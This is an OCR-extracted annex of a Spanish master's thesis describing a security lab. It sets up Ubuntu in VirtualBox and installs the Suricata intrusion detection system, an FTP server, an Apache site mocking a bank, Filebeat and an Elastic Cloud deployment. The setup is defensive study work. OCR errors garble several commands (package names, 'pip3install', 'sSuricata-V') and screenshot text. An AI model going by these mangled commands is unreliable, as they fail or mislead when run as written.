Seleccione el tamafio de disco duro virtual en megabytes. Este tamafio es el limite
para el archivo de datos que una méquina virtual podré almacenar en el disco duro.

:

4,00 MB 2,00TB

Crear Cancelar

llustracion 92: Selecciéon de memoria fisica

Con esto habremos terminado la configuracion basica de la maquina virtual. A
continuacion, debemos indicarle la ruta del sistema operativo que hemos descargado.
Para ello accedemos a la configuracion de nuestra nueva maquina y seleccionamos

“Almacenamiento”. Aqui indicaremos la ruta del sistema operativo Ubuntu.

@ Ubuntu TAM - Configuracién %

B General Almacenamiento
] J Sistema Dispositivos de almacenamiento Atributos

N Controlador: IDE Unidad optica: IDE secundario maestro ™ (2]
- Pantalla 2

(&) ubuntu-20.10-desktop-amdé4.is... [J CD/DVD vivo
“u'd HRIEEREGEE & Controlador: SATA Informacion
(1/1} Audio 2 TFM.vdi Tipo: Imagen
Tamafo: 2,74 GB
-.' Red Ubicacion: C:\Users\Marcos\Downloads\ubu..
Conectado a: --

‘&) Puertos serie
7 usB
Carpetas compartidas

Interfaz de usuario

i

e

llustracion 93: Configuracion maquina virtual
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Aprovechando que ya estamos dentro de este menu vamos a configurar la tarjeta

de red. Aqui nos encontramos con las siguientes opciones:

e NAT: Recibira una direccion IP de un servidor DHCP virtual.

e Adaptador puente: de esta forma la red local se extiende desde la
maquina anfitrion a la virtual. De esta forma puede utilizar todos los
servicios disponibles en la red.

e Red interna: es la forma de conectar varias maquinas virtuales entre si,
creando una red privada.

e Adaptador solo anfitrion (host-only): solo se conecta con el host
anfitrion.

e Red Nat: Es una mezcla de nat y red interna. La IP se recibe de un
servidor DHCP virtual y da la posibilidad de conectar entre si todas las

maquinas que estén dentro de esta red Nat predefinida.

£ Ubuntu TFM - Configuracién 7 ®

! General Red
& Sistema Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4

- Pantalla Habilitar adaptador de red

Conectado a: | Adaptador puente -

Iz Almacenamiento
Nombre: | Intel(R) Dual Band Wireless-AC 3168 -
(D] Audio
> Avanzadas

B Red

1_> Puertos serie
S
5 USB

Carpetas compartidas

3 Interfaz de usuario

llustracion 94: Configuracion tarjeta de red de maquina virtual

En mi caso utilizaré el adaptador puente, de esta manera tanto la maquina
anfitriona como la otra virtual podran acceder al sitio web desplegado en la maquina

con Ubuntu.
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Con la configuracion terminada, iniciamos la maquina seleccionando el boton
“Iniciar” y pasaremos al proceso de instalacion del sistema operativo. Este proceso

viene detallado en el manual de instalaciéon de Ubuntu del anexo.

i — @ & 3 & o -

Tomar Eliminar Restaurar | Propiedades Clonar  Configuracion Descartar  Iniciar

=

T
llustracion 95: Iniciar maquina virtual

El proceso para instalar la segunda maquina virtual, Kali Linux, que se ha

seguido es idéntico al de Ubuntu.

2. Instalacion de Ubuntu

Este punto, continua a partir de la configuracion de la maquina virtual. Una vez

ejecutada aparecera esta ventana:

Nov7 16:20

Instalar

Le damos la bienvenida

English

Esperanto
Euskara
Frangais
Gaeilge
Galego

Hrvatski -

islenska

Italiano Probar Ubuntu Instalar Ubuntu
Kurdi

Lakviski

i . Puede probar Ubuntu sin hacer ninglin cambio en su equipo, directamente desde
Lietuviskai

este CD.

Magyar
Nederlands
No localization (UTF-8)
Norsk bokmal
Noarck mmarsk Es posible que quiera leer las notas de publicacién.

O si esta listo, puede instalar Ubuntu junto a (o en lugar de) su sistema operativo
actual. Esto no tardara demasiado.

llustracion 96: Proceso de instalaciéon de Ubuntu |

Tenemos la opcion de instalar el sistema operativo, o de “Probar Ubuntu”. Con

esta segunda opcion podremos acceder dentro del sistema, pero con opciones
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limitadas y sin poder guardar la configuracion. Por lo tanto, seleccionamos el idioma e

“Instalar Ubuntu”.

Nov 7 16:20

Instalar

Actualizaciones y otro software

:Qué aplicaciones le gustaria instalar para comenzar?

© Instalacién normal
Navegador web, utilidades, paguete de oficing, juegos y reproductores multimedia.
Instalacion minima

Navegador web y utilidades basicas.
Otras opciones

Descargar actualizaciones al instalar Ubuntu

Esto ahorrara tiempo después de la instalacién.

Instalar programas de terceros para hardware de gréficos y de wifiy formatos multimedia adicionales

Este software estd sujeto a los términos de licencia incluidos en su documentacion. Algunos componentes son privativos.

Salir Alras C

llustraciéon 97: Procesa d-e fns?aiédféhﬁ de Ubuntu Il

Dentro de las opciones de instalacidn, seleccionamos “Instalacion minima”, ya
gue no vamos a utilizar, los paquetes de oficina, utilidades etc. En “otras opciones”,

dejaremos que se instalen las actualizaciones durante el proceso de instalacion.

Nov7 16:21

[LHE1ET

Tipo de instalacion

En este equipo no se ha detectado actualmente ningdn sistema operativo. ;Qué quiere hacer?

© Borrar disco e instalar Ubuntu
Atencion: esto eliminara todos sus programas, documentos, fotos, musica y demas archivos en todos los sistemas operativos.

Caracteristicas avanzadas... | Ninguna seleccionada

Mas opciones
Puede crear particiones, redimensionarlas e elegir varias particiones para Ubuntu.

Ssalir Atras Inst

llustraciéon 98: Proce36 d;a iﬁstAaIzAicth')hmde Ubuntu Il
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En esta opcion, seleccionamos “Borrar disco e instalar Ubuntu”, ya que es una

instalacion desde cero, y no tenemos ninguna informacion guardada.

| Jaen|

Atras C

llustracién 99: Proceso de instalacion de Ubuntu IV

Seleccionamos el lugar donde nos encontramos, para la franja horaria.

Instalar

;Quién es usted?

Sunombre: marcos-moreno (]

Elnombre de suequipo: marcosmoreno-Virtua | &

El nombre que utiliza al comunicarse con okros equipos.

Elija un nombre de usuario: marcos-moreno | &

Elija una contrasena: C fia buena

Confirme su contrasena: | oo eeeoee) ]

Iniciar sesién automaticamente

O solicitar mi contrasena para iniciar sesion

Utilizar Active Directory
Debera proveer el dominio y otros datos en el siguiente paso

Atras C

llustracion 100: Proceso de instalacion de Ubuntu V

En este punto seleccionamos el nombre de usuario y contrasefia de acceso al

sistema. Al seleccionar “Siguiente” comenzara la instalacion.
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Nov7 17:24

Instalar

Le damos la bienvenida a Ubuntu

Répido y repleto de caracteristicas nuevas, la
version mas reciente de Ubuntu hace que la
computacion sea mas facil que nunca.
Echemos un vistazo...

» Instalando el sistema

llustracion 101: Proceso de instalacion de Ubuntu VI

Como ultimo punto vamos a proceder a instalar “Guest Additions”. Consisten en
controladores de dispositivos y aplicaciones del sistema que optimizan el sistema
operativo invitado para un mejor rendimiento y usabilidad. Para ello seleccionamos lo

siguiente:

Machine View [Deurices] Help

Install Guest Additions... Hast+D

%

(VITLIJUNNSI (-) CD/DVD Devices 3
- (¥ USB Devices v
@ Shared Clipboard 3
— Drag'n'Drop ]
' @ Metwork Adapters...
Iﬁ Shared Folders...
I-!‘ Enable Remote Display

llustracién 102: Proceso de instalacion de Ubur'{t'u Vil

Una vez seleccionado esto, nos aparecerda en la pantalla una ventana
emergente para iniciar la instalacion.
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Actividades <~ Ejecutar programa ¥ 7denov 17:38

Cliente de correo Thunderbird

@ «VBox_GAs_6.1.4» contiene software pensado

para iniciarse automaticamente. ;Quiere ejecutarlo?

Si no confia en este lugar, o no esta seguro, pulse «Cancelar».

Cancelar Ejecutar

Configuracion... Recordarmelo mas tarde Instalar ahora

llustraciéon 103: Proceso de instalacion de Ubuntu VIII

3. Instalacion de Suricata

Creamos una carpeta en el escritorio que se llame “Suricata” y seguidamente
abrimos una terminal sobre ella. En primer lugar, vamos a actualizar el sistema a la

Gltima version de paquetes disponibles:

e sudo apt-get update
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llustracion 104: Actualizacién Ubuntu

Lo siguiente sera instalar todas las dependencias que utilizara Suricata:

e sudo apt-get install rustc cargo make libpcre3 libpcre3-dbg libpcre3-
dev build-essential autoconf automake libtool libpcap-dev libnetl-
dev libyaml-0-2 libyaml-dev zliblg zliblg-dev libcap-ng-dev libcap-

ng0 make libmagic-dev libjansson-dev libjansson4 pkg-config -y

Una vez que todas las dependencias estan instaladas, necesitamos instalar
también las herramientas de suricata que utilizara para sus firmas. Estas son un
conjunto de reglas que se definen en un fichero de configuracion, el cual interpretara
la captura de un paquete con la configuracion que se le haya asignado. Mas adelante
entraré en detalle sobre esta parte:

e apt-get install python3-pip
e pip3install --upgrade suricata-update

e |In -s /usr/local/bin/suricata-update /usr/bin/suricata-update
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Con esto ultimo hemos terminado de descargar todos los packages y
dependencias necesarias para el uso de Suricata. Como ultimo paso, lo descargamos

usando el siguiente comando:

e wget https://www.openinfosecfoundation.org/download/suricata-
5.0.3.tar.gz

$ wget https://openinfosecfoundation.org/download/suricata-5.0. 3.tar.grl

llustracion 105: Descarga de Suricata

La ultima versiéon disponible es la 6.0.0 que fue publicada el 8 de Octubre del
2020. Yo he decidido utilizar la version anterior a esta, ya que al ser demasiado
reciente es posible que exista algun problema de compatibilidad con alguna de las

dependencias.
Una vez descargado Suricata, descomprimimos el paquete con:
e tar -xvzf suricata-5.0.3.tar.gz

El siguiente paso es seleccionar el directorio para los ficheros de configuracion

y de instalacion. Esto lo haremos con:

e cd suricata-5.0.3
e ./configure --enable-nfqueue --prefix=/usr --sysconfdir=/etc --

localstatedir=/var
Ejecutamos para instalar:

e make

e make install-full

Este proceso puede tardar varios minutos.
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Para finalizar con el proceso de instalacion afiadimos las reglas que utiliza

Suricata para la deteccion:

e make install-rules

Para comprobar que todo ha ido correctamente podemos lanzar el comando:

e sSuricata-V

Esto nos devolvera la version del producto instalada

S suricata -V

This is Suricata version 5.0.3 RELEASE
llustracién 106: Comprobar version de Suricata

Una vez descargado e instalado Suricata vamos a pasar a la configuracion. Si
accedemos al fichero de configuracion que se ha instalado en la ruta:

“letc/suricata/suricata.yaml” podemos encontrar los siguientes parametros:

%YAML 1.1

vars:

address-groups:
HOME_NET: "[192.168.0.15/24]"

EXTERNAL_NET: "!SHOME_NET"

llustracion 107: Fichero de configuracién de Suricata

Como “HOME_NET” entendemos que es la direcciéon IP a la que van a apuntar
sus sensores de deteccion, es decir, la de nuestro servidor. Con la configuracion actual
de red de la maquina virtual, cada vez que se arranque el sistema operativo, el servidor

DHCP nos asignara una IP diferente. Esto ocasiona que tengamos que estar
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cambiando continuamente el fichero de configuracién. La forma de resolver este
problema es asignando al servidor una direccion IP estatica, es decir, que siempre
sera la misma. Para ello en primer lugar revisaremos los parametros de red asignados
con la orden “ifconfig”. Para la interfaz “enp0s3” que es la que se esta utilizando para

salir a internet tenemos los siguientes pardmetros:

- $ ifconfig
flags=4163<UP,BROADCAST ,RUNNING,MULTICAST> mtu 1500

inet 192.168.0.15 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fe80::5c28:9072:d282:4d27 prefixlen 64 scopeid 0x20<link>

ether 08:00:27:d5:10:c4 txqueuelen 1000 (Ethernet)

RX packets 1391 bytes 1643623 (1.6 MB)

RX errors © dropped © overruns © frame 0

TX packets 1068 bytes 108644 (108.6 KB)

TX errors © dropped 0 overruns © carrier ® collisions ©

llustracion 108: Configuracion de interfaz de red

Estos nos ayudaran a configurar la direccién IP estéatica. Abrimos la configuracion
de red, seleccionamos “IPv4” y afiadimos la direccion IP estatica que deseemos dentro
del rango de red 192.168.0.0/24. Yo he elegido la 192.168.0.15. Una vez asignada, la

indicamos en el fichero de configuracion de Suricata.

Cancelar Cableada Aplicar

Detalles Identidad 1Pvd4 IPV6 Seguridad

Método IPv4 Automatico (DHCP) Solo enlace local
© Manual Desactivar

Compartida con otros equipos

Direcciones

192.168.0.15 255.255.255.0 192.168.0.1

DNS Automatico @ )

8.8.8.8

llustracion 109: Configuracién IP estatica

Como “EXTERNAL_NET”, se refiere a la direccion o direcciones IP externas a

las que apuntaran los sensores, es decir, las que interactuaran haciendo peticiones al
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servidor de Ubuntu. Para este caso, he indicado que como IP externa puede ser

cualquiera que no sea la IP del servidor de Ubuntu: ““HOME_NET”.
Una vez configurado, podemos lanzar Suricata con el siguiente comando:

e sudo suricata -c /etc/suricata/suricata.yaml -i enp0s3

:$ sudo suricata -c /etc/suricata/suricata

.yaml -1 enp0Os3

llustracion 110: Ejecucidn de Suricata

Donde enp0s3, es la interfaz de red por donde se va a realizar la escucha. Para
visualizar las alertas de los eventos, debemos acceder a la ruta: “/var/log/suricata/” y

leer el fichero “fast.log”.

4. Instalacion de servidor FTP

Para instalar un servidor ftp vamos a ejecutar el siguiente comando:

e sudo apt-get install vsftpd

:-§ sudo apt-get install wsftpd

[sudo] contrasefia para marcos-moreno:

Leyendo lista de paquetes... Hecho

Creando arbol de dependencias

Leyendo la informacién de estado... Hecho

Se instalaran los siguientes paquetes NUEVOS:
vsftpd

llustracion 111: Instalacién de servidor FTP
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5. Instalacién de Apache

Para instalar un servidor web en Ubuntu es tan sencillo como lanzar este

comando:
e sudo apt-get install apache2

Si queremos comprobar que todo ha ido correctamente, podemos acceder a la
web por defecto de Apache desde el browser. Cabe recordar que la app esta corriendo
en el puerto 80 ya que utiliza el protocolo HTTP. Desde el navegador web de la

maquina anfitriona he puesto la siguiente URL: http://192.168.0.15:80, y este es el

resultado:

@ Apache2 Ubuntu Default Page

llustracion 112: Servidor de Apache

Efectivamente el servicio esta corriendo correctamente. A continuacion, vamos
a darle formato a la web, para que simule ser la de una entidad financiera. Para ello
debemos acceder a la ruta “/var/www/html” y dentro encontraremos un fichero
‘index.html”. Si modificamos el contenido de este fichero con nuestro codigo HTML

podremos ver los cambios reflejados desde el navegador web.
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6. Instalacion de Filebeat

Para llegar a este punto es necesario realizar un despliegue en Elastic Cloud.

Para esto, es necesario seguir el Anexo 2: Despliegue de Elastic Cloud.

Ya que el despliegue lo hemos realizado con la version 7.9.3, es recomendable
utilizar la misma para los modulos de Elastic. En este caso descargamos dicha version

con la orden:

e curl-L-O
https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-7.9.3-

darwin-x86 64.tar.gz

Descomprimimos el paquete descargado y nos encontramos una serie de

ficheros:

S s

filebeat.reference.yml LICENSE.txt
fields.yml filebeat.yml NOTICE. txt
README.md
llustracién 113: Instalacion de Filebeat.

El mas importante es el fichero “filebeat.yml”, el cual lleva toda la configuracion
para conectar con Elasticsearch o con Logstash. En primer lugar, vamos a abrirloy a
afadir los pardmetros de conexién del despliegue de Elastic Cloud. En el apartado
“Elastic Cloud” afadimos por una parte el “cloud.id”, el cual podemos ver en nuestro
espacio de Elastic Cloud. Como “cloud.auth” las credenciales de acceso, las cuales

descargamos cuando se termind de lanzar el despliegue.

# These settings simplify using Filebeat with the Elastic Cloud (https://cloud.elastic.co/).
# The cloud.id setting overwrites the “output.elasticsearch.hosts’ and

# “setup.kibana.host’ options

# You can find the "cloud.id” in the Elastic Cloud web UI.

cloud.id:

# The cloud.auth setting overwrites the “output.elasticsearch.username’ and

# ‘output.elasticsearch.password’ settings. The format is "<user>:<pass>’.

cloud.auth:

llustracién 114: Fichero de configuracién de Filebeat
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ANEXO 2: DESPLIEGUE DE ELASTIC CLOUD

En este punto vamos a explicar como realizar un despliegue en Elastic Cloud.
Para este caso, vamos a utilizar una version de prueba gratuita de 15 dias. En el caso
de querer alargar la duracion de la suscripcion, Elastic, cuenta con una calculadora de
precios que te hace una estimacion del coste mensual del despliegue. Pondré un

ejemplo para una suscripcion standard la cual sera suficiente para este caso:

summary

BIELWGEIGI Gold | Platinum | Enterprise

CAmne » e iherrintinne
Compare subscriptions

Memory 1GB
Storage 30GB
Hourly rate $0,0225
Memory 1GB
Hourly rate FREE
Memory 512 MB
Hourly rate FREE
Total memory 2.5GB
Total storage 30GB
Hourly rate $0,0225

llustracion 114: Precio despliegue en Elastic Cloud

¢ Un nodo de Elastic, con 1 GB de memoria RAM y 30GB para almacenar
datos.

e Un nodo de Kibana, con 1 GB de memoria RAM.

e Un nodo de APM, el cual entra en la seleccion del producto y no

utilizaremos para este caso, con 512 MB.

Todo esto por 0,0225% por hora. Convertido a euros y durante un mes el precio
seria 13,67€.
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Para comenzar con la prueba debemos registrarnos en el siguiente enlace

https://cloud.elastic.co/login?redirectTo=%2Fhome

Elastic Cloud

Legin

Yy E.
|

Learn from Elasticsearch experts and users at G tog
2n ElasticON event in your timezone

llustracion 116: Proceso de instalacion Elastic Cloud |

Una vez hecho esto, seleccionamos “Start your free trial”. En la siguiente ventana
podremos elegir el pack de Elastic que mas se adapte a nuestras necesidades

dependiendo de qué se quiera hacer con los datos:

e Elastic Stack: Nodo de Elasticsearch, nodo de Kibana. Util para
busquedas, analisis y visualizacion de datos en cualquier formato.

e Elastic Enterprise Search: Util para busquedas potentes para sitios web,
aplicaciones o lugares de trabajo con API y herramientas mejoradas.

e Elastic Observability: Util paralogs, métricas, seguimiento de
aplicaciones y disponibilidad del sistema con interfaces de usuario
disefiadas especificamente.

e Elastic Security: Prevencién, recopilacion, deteccidén y respuesta ante

amenazas para una proteccion unificada en toda la infraestructura.

Para este caso utilizaremos el paquete “Elastic Stack”, ya que necesitaremos

Kibana para mostrar ciertos dashboard con la informacion recopilada.
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Para la implementacién, seleccionamos el proveedor en la nube que mas nos
interese, en este caso yo he elegido AWS (Amazon Web Service), y como version la
7.9.3, que es la pendltima que hay desplegada, ya que actualmente es la 7.10.

Elegimos un nombre para nuestro despliegue y lo creamos

Configuracién de implementacion
Elija el proveeder de nu gién y la version de E

& n L
Regién

Version

Nombre su implementacién

Slempre puedes cambiar esto més tarde

FM-Ujaen

_ Crear despliegue

llustracion 117: Proceso de instalacién Elastic Cloud I

Descargamos las credenciales de acceso, ya que seran necesarias para que se
conecte Filebeat al nodo de Elastic y esperaremos unos minutos a que termine el

proceso de despliegue:

TFM—UJaen QWS Este de EE. UU. (Norte de Virginia)

Creando tu implementacion
Su implementacion estara lista en un par de minutos.

Comience con su implementacion - e ROT O]

El siguiente paso es ingerir datos y crear visualizaciones en Kibana

Abrir Kibana e o

Listo en unos minutos

;OIvidé guardar sus credenciales? Restablezca su contrasefia de implementacion

Nembre de la implementacion Estado de implementacién

® Siendo creado

TFM-Ujaen
Editar

nnnnnnnnnnnnnnnnnnnnnnn

llustracion 118: Proceso de instalacion Elastic Cloud llI

Con esto habremos concluido el despliegue de Elastic Cloud.
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c O

& f10e270bfeed04a93794b3f3d8791ecus-east-1

G [ trsttacion y Cont

The offic

al Dilbert

Plugin kbana

Let's get started

We noticed that you don't have an

mple data and dash

Estudio y puesta en préctica de Elastic

llustraciéon 119: Proceso de instalacién Elastic Cloud IV
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